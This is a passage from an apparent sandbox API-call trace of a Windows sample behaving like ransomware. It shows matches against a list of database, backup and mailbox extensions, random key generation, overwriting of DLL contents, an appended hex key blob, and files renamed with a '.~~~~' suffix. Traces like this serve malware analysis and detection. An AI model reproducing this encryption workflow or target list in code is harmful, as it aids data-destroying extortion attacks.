	[0087.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".VHDX") returned 0x0
	[0087.001] lstrlenW (lpString=".ndf") returned 4
	[0087.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".ndf") returned 0x0
	[0087.001] lstrlenW (lpString=".DB") returned 3
	[0087.001] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".DB") returned 0x0
	[0087.002] lstrlenW (lpString=".sql") returned 4
	[0087.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".sql") returned 0x0
	[0087.002] lstrlenW (lpString=".MYD") returned 4
	[0087.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".MYD") returned 0x0
	[0087.002] lstrlenW (lpString=".DBT") returned 4
	[0087.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".DBT") returned 0x0
	[0087.002] lstrlenW (lpString=".ACCDB") returned 6
	[0087.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".ACCDB") returned 0x0
	[0087.002] lstrlenW (lpString=".fdb") returned 4
	[0087.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".fdb") returned 0x0
	[0087.002] lstrlenW (lpString=".bak") returned 4
	[0087.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".bak") returned 0x0
	[0087.002] lstrlenW (lpString=".myd") returned 4
	[0087.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".myd") returned 0x0
	[0087.002] lstrlenW (lpString=".DTXS") returned 5
	[0087.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".DTXS") returned 0x0
	[0087.002] lstrlenW (lpString=".ckp") returned 4
	[0087.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".ckp") returned 0x0
	[0087.002] lstrlenW (lpString=".dbt") returned 4
	[0087.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".dbt") returned 0x0
	[0087.002] lstrlenW (lpString=".db") returned 3
	[0087.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".db") returned 0x0
	[0087.002] lstrlenW (lpString=".TXT") returned 4
	[0087.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".TXT") returned 0x0
	[0087.002] lstrlenW (lpString=".MDF") returned 4
	[0087.002] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".MDF") returned 0x0
	[0087.003] lstrlenW (lpString=".bdb") returned 4
	[0087.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".bdb") returned 0x0
	[0087.003] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0087.003] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0087.003] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0087.003] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362fe0
	[0087.003] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0087.004] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0087.004] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0087.004] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0087.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0087.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0087.004] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20699426004) returned 1
	[0087.004] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9da98a70, dwHighDateTime=0x1d60e1e)) 
	[0087.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0087.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0087.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0087.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b448
	[0087.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0087.004] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b448 | out: hHeap=0x300000) returned 1
	[0087.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0087.005] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0087.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bb420
	[0087.005] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0087.005] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b2158
	[0087.005] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb420 | out: hHeap=0x300000) returned 1
	[0087.005] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0087.005] GetLastError () returned 0x0
	[0087.005] GetLastError () returned 0x0
	[0087.005] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0087.005] GetLastError () returned 0x0
	[0087.005] GetLastError () returned 0x0
	[0087.009] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0087.009] WriteFile (in: hFile=0x120, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0087.011] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0087.011] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.011] WriteFile (in: hFile=0x120, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0087.014] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0087.014] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0087.014] CloseHandle (hObject=0x120) returned 1
	[0087.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bb420
	[0087.014] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1star.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1star.dll.~~~~")) returned 1
	[0087.015] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb420 | out: hHeap=0x300000) returned 1
	[0087.015] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0087.015] GetLastError () returned 0x0
	[0087.018] lstrlenW (lpString=".sqb") returned 4
	[0087.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".sqb") returned 0x0
	[0087.018] lstrlenW (lpString=".ost") returned 4
	[0087.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".ost") returned 0x0
	[0087.018] lstrlenW (lpString=".txt") returned 4
	[0087.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".txt") returned 0x0
	[0087.018] lstrlenW (lpString=".mdt") returned 4
	[0087.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".mdt") returned 0x0
	[0087.018] lstrlenW (lpString=".BDB") returned 4
	[0087.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".BDB") returned 0x0
	[0087.019] lstrlenW (lpString=".eql") returned 4
	[0087.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".eql") returned 0x0
	[0087.019] lstrlenW (lpString=".DBF") returned 4
	[0087.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".DBF") returned 0x0
	[0087.019] lstrlenW (lpString=".EQL") returned 4
	[0087.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".EQL") returned 0x0
	[0087.019] lstrlenW (lpString=".FDB") returned 4
	[0087.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".FDB") returned 0x0
	[0087.019] lstrlenW (lpString=".EDB") returned 4
	[0087.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".EDB") returned 0x0
	[0087.019] lstrlenW (lpString=".DACPAC") returned 7
	[0087.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".DACPAC") returned 0x0
	[0087.019] lstrlenW (lpString=".VHD") returned 4
	[0087.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".VHD") returned 0x0
	[0087.019] lstrlenW (lpString=".DBV") returned 4
	[0087.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".DBV") returned 0x0
	[0087.019] lstrlenW (lpString=".dacpac") returned 7
	[0087.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".dacpac") returned 0x0
	[0087.019] lstrlenW (lpString=".sdf") returned 4
	[0087.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".sdf") returned 0x0
	[0087.020] lstrlenW (lpString=".accdb") returned 6
	[0087.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".accdb") returned 0x0
	[0087.020] lstrlenW (lpString=".DBX") returned 4
	[0087.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".DBX") returned 0x0
	[0087.020] lstrlenW (lpString=".MDT") returned 4
	[0087.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".MDT") returned 0x0
	[0087.020] lstrlenW (lpString=".SQB") returned 4
	[0087.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".SQB") returned 0x0
	[0087.020] lstrlenW (lpString=".vhd") returned 4
	[0087.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".vhd") returned 0x0
	[0087.020] lstrlenW (lpString=".bac") returned 4
	[0087.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".bac") returned 0x0
	[0087.020] lstrlenW (lpString=".mdf") returned 4
	[0087.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".mdf") returned 0x0
	[0087.020] lstrlenW (lpString=".BAK") returned 4
	[0087.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".BAK") returned 0x0
	[0087.020] lstrlenW (lpString=".BAC") returned 4
	[0087.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".BAC") returned 0x0
	[0087.020] lstrlenW (lpString=".dbs") returned 4
	[0087.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".dbs") returned 0x0
	[0087.020] lstrlenW (lpString=".vhdx") returned 5
	[0087.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".vhdx") returned 0x0
	[0087.020] lstrlenW (lpString=".NDF") returned 4
	[0087.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".NDF") returned 0x0
	[0087.020] lstrlenW (lpString=".dat") returned 4
	[0087.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".dat") returned 0x0
	[0087.021] lstrlenW (lpString=".DBS") returned 4
	[0087.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".DBS") returned 0x0
	[0087.021] lstrlenW (lpString=".CKP") returned 4
	[0087.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".CKP") returned 0x0
	[0087.021] lstrlenW (lpString=".edb") returned 4
	[0087.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".edb") returned 0x0
	[0087.021] lstrlenW (lpString=".PST") returned 4
	[0087.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".PST") returned 0x0
	[0087.021] lstrlenW (lpString=".dbf") returned 4
	[0087.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".dbf") returned 0x0
	[0087.021] lstrlenW (lpString=".SQL") returned 4
	[0087.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".SQL") returned 0x0
	[0087.021] lstrlenW (lpString=".pst") returned 4
	[0087.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".pst") returned 0x0
	[0087.021] lstrlenW (lpString=".dbv") returned 4
	[0087.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".dbv") returned 0x0
	[0087.021] lstrlenW (lpString=".SDF") returned 4
	[0087.021] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".SDF") returned 0x0
	[0087.021] lstrlenW (lpString=".dtxs") returned 5
	[0087.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".dtxs") returned 0x0
	[0087.022] lstrlenW (lpString=".db3") returned 4
	[0087.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".db3") returned 0x0
	[0087.022] lstrlenW (lpString=".OST") returned 4
	[0087.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".OST") returned 0x0
	[0087.022] lstrlenW (lpString=".dbx") returned 4
	[0087.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".dbx") returned 0x0
	[0087.022] lstrlenW (lpString=".DB3") returned 4
	[0087.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".DB3") returned 0x0
	[0087.022] lstrlenW (lpString=".DAT") returned 4
	[0087.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".DAT") returned 0x0
	[0087.022] lstrlenW (lpString=".VHDX") returned 5
	[0087.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".VHDX") returned 0x0
	[0087.022] lstrlenW (lpString=".ndf") returned 4
	[0087.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".ndf") returned 0x0
	[0087.022] lstrlenW (lpString=".DB") returned 3
	[0087.022] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".DB") returned 0x0
	[0087.022] lstrlenW (lpString=".sql") returned 4
	[0087.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".sql") returned 0x0
	[0087.023] lstrlenW (lpString=".MYD") returned 4
	[0087.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".MYD") returned 0x0
	[0087.023] lstrlenW (lpString=".DBT") returned 4
	[0087.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".DBT") returned 0x0
	[0087.023] lstrlenW (lpString=".ACCDB") returned 6
	[0087.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".ACCDB") returned 0x0
	[0087.023] lstrlenW (lpString=".fdb") returned 4
	[0087.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".fdb") returned 0x0
	[0087.023] lstrlenW (lpString=".bak") returned 4
	[0087.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".bak") returned 0x0
	[0087.023] lstrlenW (lpString=".myd") returned 4
	[0087.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".myd") returned 0x0
	[0087.023] lstrlenW (lpString=".DTXS") returned 5
	[0087.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".DTXS") returned 0x0
	[0087.023] lstrlenW (lpString=".ckp") returned 4
	[0087.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".ckp") returned 0x0
	[0087.023] lstrlenW (lpString=".dbt") returned 4
	[0087.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".dbt") returned 0x0
	[0087.023] lstrlenW (lpString=".db") returned 3
	[0087.023] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".db") returned 0x0
	[0087.023] lstrlenW (lpString=".TXT") returned 4
	[0087.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".TXT") returned 0x0
	[0087.024] lstrlenW (lpString=".MDF") returned 4
	[0087.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".MDF") returned 0x0
	[0087.024] lstrlenW (lpString=".bdb") returned 4
	[0087.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".bdb") returned 0x0
	[0087.024] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0087.024] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0087.024] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0087.024] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362fe0
	[0087.024] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0087.065] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0087.065] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0087.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0087.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0087.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0087.065] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20705529301) returned 1
	[0087.065] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9db30ff0, dwHighDateTime=0x1d60e1e)) 
	[0087.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0087.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0087.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0087.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b410
	[0087.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0087.066] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b410 | out: hHeap=0x300000) returned 1
	[0087.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0087.066] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0087.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6a00
	[0087.066] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0087.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d428
	[0087.066] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6a00 | out: hHeap=0x300000) returned 1
	[0087.066] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0087.066] GetLastError () returned 0x0
	[0087.066] GetLastError () returned 0x0
	[0087.066] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0087.066] GetLastError () returned 0x0
	[0087.066] GetLastError () returned 0x0
	[0087.104] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffeec70, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0087.104] WriteFile (in: hFile=0x124, lpBuffer=0x2895ff0*, nNumberOfBytesToWrite=0x11390, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2895ff0*, lpNumberOfBytesWritten=0x25dfec0*=0x11390, lpOverlapped=0x0) returned 1
	[0087.105] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2895ff0 | out: hHeap=0x300000) returned 1
	[0087.105] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.105] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
